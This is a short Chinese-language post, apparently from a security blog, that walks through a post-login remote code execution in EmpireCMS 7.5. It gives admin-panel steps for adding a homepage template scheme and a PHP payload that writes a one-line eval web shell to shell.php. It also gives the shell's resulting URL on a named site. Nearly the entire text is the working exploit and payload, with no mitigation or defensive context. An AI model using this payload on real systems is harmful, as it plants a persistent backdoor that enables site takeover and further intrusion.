引用的 帝国(EmpireCMS)7.5的两个后台RCE审计 但此文章内的payload提交会提示500。

亲测：后台–模板–首页模板–管理首页方案–（右侧）增加首页方案–在“模板内容”填入以下不会提示500的代码–提交保存–回到“管理首页方案”–启动此方案。（此时访问首页是空白）

<?php
file_put_contents(‘shell.php’,'<?php eval($_POST[shell]); ?>’)
?>

访问网站首页是空白，然后在e/admin/template/路劲下生成个shell.php一句话，一句话完整路劲http://safeing.org/e/admin/template/shell.php